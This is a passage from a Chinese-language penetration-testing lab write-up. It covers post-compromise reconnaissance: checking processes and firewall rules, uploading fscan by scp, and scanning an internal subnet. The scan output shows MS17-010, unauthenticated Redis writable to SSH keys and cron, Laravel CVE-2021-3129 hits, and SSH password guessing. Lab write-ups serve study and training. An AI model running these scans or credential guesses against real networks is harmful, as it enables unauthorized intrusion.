/usr/lib/gnome-settings-daemon/gsd-sound gdm 1255 0.0 1.2 599664 49012 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-wacom gdm 1265 0.0 0.1 218764 7860 tty1 Sl Apr09 0:00 /usr/lib/ibus/ibus-engine-simple colord 1299 0.0 0.3 339576 15872 ? Ssl Apr09 0:00 /usr/lib/colord/colord root 1667 0.0 0.1 110532 7456 ? Rs 00:02 0:00 sshd: root@pts/0 root 1669 0.0 0.1 76928 7912 ? Ss 00:02 0:00 /lib/systemd/systemd --user root 1670 0.0 0.0 193708 2656 ? S 00:02 0:00 (sd-pam) root 1681 0.0 0.0 0 0 ? I 00:02 0:00 [kworker/0:1-eve] root 1772 0.0 0.1 29788 5112 pts/0 Ss 00:02 0:00 -bash root 1838 0.0 0.0 0 0 ? I 00:06 0:00 [kworker/u256:0-] root 1839 0.0 0.2 107696 8092 ? Ss 00:06 0:00 /usr/sbin/cupsd -l root 1841 0.0 0.2 303664 10992 ? Ssl 00:06 0:00 /usr/sbin/cups-browsed root 1919 0.0 0.0 4632 924 ? Ss 00:08 0:00 /bin/sh /usr/lib/apt/apt.systemd.daily install root 1923 0.0 0.0 4632 1776 ? S 00:08 0:00 /bin/sh /usr/lib/apt/apt.systemd.daily lock_is_held install root 1932 0.0 0.0 0 0 ? I 00:08 0:00 [kworker/1:0-mm_] root 1955 99.8 3.3 246484 135684 ? RN 00:08 10:25 /usr/bin/python3 /usr/bin/unattended-upgrade root 1973 0.0 0.0 0 0 ? I 00:12 0:00 [kworker/u256:1-] root 1988 0.0 0.0 0 0 ? I 00:17 0:00 [kworker/0:0-eve] root 2002 0.0 0.0 46776 3640 pts/0 R+ 00:18 0:00 ps aux
并没有发现杀软。
查看防火墙与出站规则:
root@ubuntu:~# iptables -L -v -n 2>/dev/null Chain INPUT (policy ACCEPT 71 packets, 4966 bytes) pkts bytes target prot opt in out source destination Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 66 packets, 5906 bytes) pkts bytes target prot opt in out source destination root@ubuntu:~# ufw status 2>/dev/null Status: inactive
没有防火墙且出入自由。
下一步就是内网信息搜集了。
五、Fscan
通过 scp 命令上传 fscan 到服务器上,开始内网信息搜集:
scp -i target /usr/local/bin/fscan root@192.168.111.20:/tmp/
上传成功后,直接扫描:
./fscan -h 192.168.52.0/24
扫描的时候忘记把本机排除了 😛,花得时间略长。大家可以使用:
./fscan -h 192.168.52.0/24 -hn 192.168.52.10
把本机排除。
结果:
start infoscan (icmp) Target 192.168.52.10 is alive (icmp) Target 192.168.52.20 is alive (icmp) Target 192.168.52.30 is alive [*] Icmp alive hosts len is: 3 192.168.52.10:81 open 192.168.52.10:80 open 192.168.52.20:22 open 192.168.52.10:22 open 192.168.52.30:135 open 192.168.52.30:445 open 192.168.52.30:139 open 192.168.52.10:6379 open 192.168.52.30:8080 open 192.168.52.20:8000 open [*] alive ports len is: 10 start vulscan [*] WebTitle http://192.168.52.10 code:502 len:584 title:502 Bad Gateway [*] NetBios 192.168.52.30 PC1.whoamianony.org Windows 7 Professional 7601 Service Pack 1 [+] MS17-010 192.168.52.30 (Windows 7 Professional 7601 Service Pack 1) [*] WebTitle http://192.168.52.30:8080 code:200 len:10065 title:通达OA网络智能办公系统 [+] InfoScan http://192.168.52.30:8080 [通达OA] [*] WebTitle http://192.168.52.10:81 code:200 len:17474 title:Laravel [*] WebTitle http://192.168.52.20:8000 code:200 len:17474 title:Laravel [+] InfoScan http://192.168.52.20:8000 [Laravel] [+] InfoScan http://192.168.52.10:81 [Laravel] [+] PocScan http://192.168.52.30:8080 tongda-user-session-disclosure [+] Redis 192.168.52.10:6379 unauthorized file:/root/.ssh/authorized_keys [+] Redis 192.168.52.10:6379 like can write /root/.ssh/ [+] Redis 192.168.52.10:6379 like can write /var/spool/cron/ [+] PocScan http://192.168.52.20:8000 poc-yaml-laravel-cve-2021-3129 [+] PocScan http://192.168.52.10:81 poc-yaml-laravel-cve-2021-3129 已完成 8/10 [-] ssh 192.168.52.10:22 root Aa1234. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 8/10 [-] ssh 192.168.52.10:22 admin Admin@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 8/10 [-] ssh 192.168.52.10:22 admin 1qaz2wsx ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 9/10 [-] ssh 192.168.52.20:22 root root@111 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 9/10 [-] ssh 192.168.52.20:22 root qwe123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 9/10 [-] ssh 192.168.52.20:22 root 123456789 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 10/10 [*] 扫描结束,耗时: 7m12.740113763s
扫描忘记排除本主机虽然是失误,但是也让我看到了 fscan 的好用,之前分析的结果 fscan 一个扫描全出来了……,不过这也依赖于指纹库和漏洞库,并不是所有的情况都能涵盖的。
整理一下信息:
1、192.168.52.20
端口开放情况以及相关指纹信息:
192.168.52.20:22 open 192.168.52.20:8000 open
更多推荐







所有评论(0)